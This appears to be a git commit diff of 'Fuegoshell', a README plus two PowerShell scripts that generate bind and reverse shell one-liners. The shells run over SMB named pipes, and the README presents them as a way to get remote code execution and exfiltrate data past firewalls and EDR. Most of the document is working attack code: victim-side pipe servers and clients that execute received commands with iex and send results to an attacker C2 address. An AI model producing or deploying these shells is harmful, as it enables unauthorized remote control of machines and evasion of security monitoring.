initial commit

README.md

@@ -0,0 +1,33 @@
+# About Fuegoshell
+All details are available on <https://v1k1ngfr.github.io/fuegoshell/>  
+
+
+
+`Fuegoshell` could be useful when your Remote Code Execution or data exfiltration require bypassing some restrictions (firewalls) or detections (EDR). It's more a trick than a tool but it provides a PS1 script for generating Powershell oneliners. Those shells (bind or reverse) are focusing on :  
+
+- no local admin privilege required
+- no need to Bind() / listen on a new server local port, re-use of TCP 445
+- use of named pipes for sending commands / receiving results
+- keep it simple using Powershell oneliners for all this stuff  
+
+
+# Creating a "fuegoshell" bind shell
+
+Here is an example below of running in "bind" mode.  
+
+```
+powershell -exec bypass .\generate_bind_fuegoshell.ps1 
+```  
+
+![](img/fuegoshell_bind_example.png)
+
+# Creating a "fuegoshell" reverse shell  
+
+Here is an example below of running in "reverse" mode.  
+
+```
+powershell -exec bypass .\generate_reverse_fuegoshell.ps1 
+```  
+
+![](img/fuegoshell_reverse_example.png)
+

fuegoshell/generate_bind_fuegoshell.ps1

@@ -0,0 +1,21 @@
+$shellprompt = "fuegoShell-bind>"
+$cmdlogmsg = "[cmdlog]> "
+$myVictimIPAdress = "192.168.49.1"
+$fuegochannel = "fuegoshell"
+Write-Host "
+
+#
+### victim side : open one powershell console ###
+#
+# In the powershell console : 
+
+`$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream('$fuegochannel', [System.IO.Pipes.PipeDirection]::InOut);try {'Fuegoshell-server started';'Waiting for client connection';`$npipeServer.WaitForConnection();'Connection established';`$pipeReader = new-object System.IO.StreamReader(`$npipeServer);`$script:pipeWriter = new-object System.IO.StreamWriter(`$npipeServer);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine('Connected on '+`$env:computername);while (1){`$pipeWriter.WriteLine('YOURMOVE');`$command = `$pipeReader.ReadLine();if (`$command -eq 'exit') { break }try {`$data = iex `$command | Out-String ;}catch {`$data = 'error : maybe empty or wrong command line';}`$msg = `$data;`$pipeWriter.WriteLine(`$msg);}Start-Sleep -Seconds 2;}finally {'Shell exiting';`$npipeServer.Dispose();}
+
+#
+### attacker side : open one powershell console ###
+#
+# In the powershell console run : 
+
+`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream('$myVictimIPAdress', '$fuegochannel', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;try {'Fuegoshell-client started';'Connecting to shell...';`$npipeClient.Connect();`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeReader.ReadLine();while (1) { while ((`$msg = `$pipeReader.ReadLine()) -notmatch 'YOURMOVE') {`$msg;}`$command = Read-Host '$shellprompt';if (`$command -eq 'exit') { `$pipeWriter.WriteLine(`$command);break ;}`$pipeWriter.WriteLine(`$command) ;`$currentDate = Get-Date -Format `"yyyyMMdd_HHmmss`" ;`$cmdlogmsg = '$cmdlogmsg';`$data = `$pipeReader.ReadLine();`$msg = `$currentDate+`$cmdlogmsg+`$data;`$msg;}}finally {'Shell exiting';`$npipeClient.Dispose();}
+
+"

fuegoshell/generate_reverse_fuegoshell.ps1

@@ -0,0 +1,38 @@
+$dataChannel = "fuego-data"
+$controlChannel = "fuego-control"
+$myC2ipAdress = "192.168.49.116"
+$shellprompt = "fuegoShell-reverse>"
+$cmdlogmsg = "[cmdlog]> "
+
+
+Write-Host "
+Hello,
+Here are the oneliners for reverse shell using rpc named pipes. Enjoy ! 
+#
+### INFOS ###
+#
+Named pipe for the data channel : $dataChannel
+Named pipe for the ctrl channel : $controlChannel
+My attacker IP address : $myC2ipAdress
+My custom shell prompt : $shellprompt
+My custom log message : $cmdlogmsg
+#
+### attacker side : open two powershell consoles ###
+#
+# In the powershell console 1 run : 
+
+`$host.ui.RawUI.WindowTitle = `"DATA-CHANNEL`";`$pipedata = new-object System.IO.Pipes.NamedPipeServerStream '$dataChannel','In'; `$pipedata.WaitForConnection();`$sr= new-object System.IO.StreamReader `$pipedata; while ((`$data = `$sr.ReadLine()) -ne `$null) { echo `$data.ToString()};`$sr.Dispose();`$pipedata.Dispose();
+
+# In the powershell console 2 run : 
+
+`$host.ui.RawUI.WindowTitle = `"CONTROL-CHANNEL`";`$pipecontrol = new-object System.IO.Pipes.NamedPipeServerStream '$controlChannel','Out'; `$pipecontrol.WaitForConnection(); `$sw = new-object System.IO.StreamWriter `$pipecontrol; `$sw.AutoFlush = `$true;`$myprompt = '$shellprompt';do { `$mycmd = Read-Host -Prompt `$myprompt; `$sw.WriteLine(`$mycmd) } until (`$mycmd -eq 'exit');`$sw.Dispose();`$pipecontrol.Dispose();
+
+#
+### victim side : open one powershell console ###
+#
+# In the powershell console : 
+
+`$pipedata = new-object System.IO.Pipes.NamedPipeClientStream '$myC2ipAdress','$dataChannel','Out';`$pipedata.Connect();`$sw = new-object System.IO.StreamWriter `$pipedata; `$sw.AutoFlush = `$true;`$currentHost = iex 'hostname' | Out-String;`$sw.WriteLine(`"-------------------------`");`$sw.WriteLine(`"[+] New incoming shell from : `");`$sw.WriteLine(`$currentHost);`$sw.WriteLine(`"---`");`$pipeListener = new-object System.IO.Pipes.NamedPipeClientStream '$myC2ipAdress','$controlChannel','In'; `$pipeListener.Connect(); `$sr= new-object System.IO.StreamReader `$pipeListener;`$mylogmsg = '$cmdlogmsg'; while ((`$data = `$sr.ReadLine()) -ne 'exit') {`$currentDate = Get-Date -Format `"yyyyMMdd_HHmmss`" ; `$res = iex `$data | Out-String ; `$sw.WriteLine(`$currentDate+`$mylogmsg+`$data); `$sw.WriteLine(`$res)};`$sw.Dispose();`$pipeListener.Dispose();`$sr.Dispose();`$pipedata.Dispose();
+
+"
+